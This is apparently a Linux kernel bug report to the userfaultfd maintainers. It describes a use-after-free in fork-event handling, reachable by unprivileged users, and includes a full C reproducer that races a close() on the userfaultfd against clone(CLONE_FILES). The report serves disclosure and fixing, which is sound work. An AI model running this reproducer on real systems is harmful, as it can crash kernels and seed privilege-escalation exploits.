Andrea or Pavel, can one of you please fix this? It's another use-after-free
related to userfaultfd "fork events", and it can easily be triggered by an
unprivileged user. It was reported a month ago already; the original report is
here: https://groups.google.com/forum/#!topic/syzkaller-bugs/sS99S-Z-9No.
(Please consider adding yourself and/or linux-mm to the MAINTAINERS file for
fs/userfaultfd.c, so that you are Cc'ed on userfaultfd bug reports.) In
userfaultfd_event_wait_completion(), called from dup_fctx(), the kernel is
freeing the the new userfaultfd_ctx because the old one had all its fd's closed,
but actually the new one is still in use by the new mm_struct.

Also, I've simplified the C reproducer:

#include <linux/sched.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>

static int userfaultfd;
static void *page;

static void *close_fd_proc(void *arg)
{
usleep(1000);
close(userfaultfd);
return NULL;
}

int main()
{
pthread_t t;
struct uffdio_api api = { 0 };
struct uffdio_register reg = { 0 };

page = mmap(NULL, 4096, PROT_READ|PROT_WRITE,
MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);

userfaultfd = syscall(__NR_userfaultfd, 0);

api.api = UFFDIO;
api.features = UFFD_FEATURE_EVENT_FORK;
ioctl(userfaultfd, UFFDIO_API, &api);

reg.range.start = (__u64)page;
reg.range.len = 4096;
reg.mode = UFFDIO_REGISTER_MODE_MISSING;
ioctl(userfaultfd, UFFDIO_REGISTER, &reg);

pthread_create(&t, NULL, close_fd_proc, NULL);

syscall(__NR_clone, CLONE_FILES, page, NULL, NULL, NULL);

return 0;
}
